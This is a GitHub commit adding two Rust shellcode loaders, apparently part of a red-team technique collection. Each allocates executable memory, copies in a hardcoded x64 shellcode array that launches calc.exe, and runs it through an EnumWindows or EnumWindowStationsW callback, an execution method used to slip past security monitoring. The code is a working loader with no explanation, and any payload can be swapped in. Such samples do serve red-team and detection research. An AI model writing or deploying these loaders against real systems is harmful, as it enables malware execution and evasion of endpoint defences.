Skip to content

Commit 20b1b07

Browse files
Whitecat18Whitecat18
committed
Shellcode Exec Update
1 parent 7486409 commit 20b1b07

File tree

4 files changed

+152
-0
lines changed

4 files changed

+152
-0
lines changed

‎shellcode_exec/EnumWindows/Cargo.toml‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
[package]
2+
name = "EnumWindows"
3+
version = "0.1.0"
4+
edition = "2024"
5+
6+
[dependencies]
7+
8+
[dependencies.windows-sys]
9+
version = "0.61.2"
10+
features = [
11+
"Win32_Foundation",
12+
"Win32_System_Threading",
13+
"Win32_System_Memory",
14+
"Win32_Security",
15+
"Win32_Storage_FileSystem",
16+
"Win32_System_Diagnostics_Debug",
17+
"Win32_System_LibraryLoader",
18+
"Win32_Security_Cryptography",
19+
"Win32_System_Com",
20+
"Win32_System_Registry",
21+
"Win32_UI_Shell_Common",
22+
"Win32_UI_WindowsAndMessaging"
23+
]

‎shellcode_exec/EnumWindows/src/main.rs‎

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
use std::ptr::null_mut;
2+
3+
use windows_sys::Win32::{System::Memory::VirtualAlloc, UI::WindowsAndMessaging::EnumWindows};
4+
5+
fn main() {
6+
7+
// dummy shellcode
8+
let shellcode: [u8; 276] = [
9+
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
10+
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
11+
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
12+
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
13+
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
14+
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
15+
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
16+
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
17+
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
18+
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
19+
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
20+
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
21+
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
22+
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
23+
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
24+
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
25+
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
26+
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
27+
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
28+
];
29+
30+
unsafe {
31+
32+
let addr = VirtualAlloc(
33+
null_mut(),
34+
shellcode.len(),
35+
0x1000,
36+
0x40,
37+
);
38+
39+
if addr.is_null() {
40+
println!("[-] Failed to Allocate Memory");
41+
}
42+
43+
std::ptr::copy_nonoverlapping(
44+
shellcode.as_ptr(),
45+
addr as *mut u8,
46+
shellcode.len(),
47+
);
48+
49+
EnumWindows(std::mem::transmute(addr), 0);
50+
51+
}
52+
53+
}

‎shellcode_exec/EnumWindowsStationsW/Cargo.toml‎

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
[package]
2+
name = "EnumWindowsStationsW"
3+
version = "0.1.0"
4+
edition = "2024"
5+
authors = ["5mukx"]
6+
7+
[dependencies]
8+
9+
[dependencies.windows-sys]
10+
version = "0.61.2"
11+
features = [
12+
"Win32_Foundation",
13+
"Win32_System_Threading",
14+
"Win32_System_Memory",
15+
"Win32_Security",
16+
"Win32_Storage_FileSystem",
17+
"Win32_System_Diagnostics_Debug",
18+
"Win32_System_LibraryLoader",
19+
"Win32_Security_Cryptography",
20+
"Win32_System_Com",
21+
"Win32_System_Registry",
22+
"Win32_UI_Shell_Common",
23+
"Win32_System_StationsAndDesktops"
24+
]
25+

‎shellcode_exec/EnumWindowsStationsW/src/main.rs‎

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
2+
use std::ptr::{copy_nonoverlapping, null_mut};
3+
4+
use windows_sys::Win32::System::{Memory::VirtualAlloc, StationsAndDesktops::EnumWindowStationsW};
5+
6+
7+
fn main() {
8+
let shellcode: [u8; 276] = [
9+
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
10+
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
11+
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
12+
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
13+
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
14+
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
15+
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
16+
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
17+
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
18+
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
19+
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
20+
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
21+
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
22+
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
23+
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
24+
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
25+
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
26+
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
27+
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
28+
];
29+
30+
unsafe{
31+
32+
let addr = VirtualAlloc(
33+
null_mut(),
34+
shellcode.len(),
35+
0x1000 | 0x2000,
36+
0x40,
37+
);
38+
39+
copy_nonoverlapping(
40+
shellcode.as_ptr(),
41+
addr as *mut u8,
42+
shellcode.len(),
43+
);
44+
45+
EnumWindowStationsW(
46+
std::mem::transmute(addr),
47+
0
48+
);
49+
50+
}
51+
}

0 commit comments

Comments
 (0)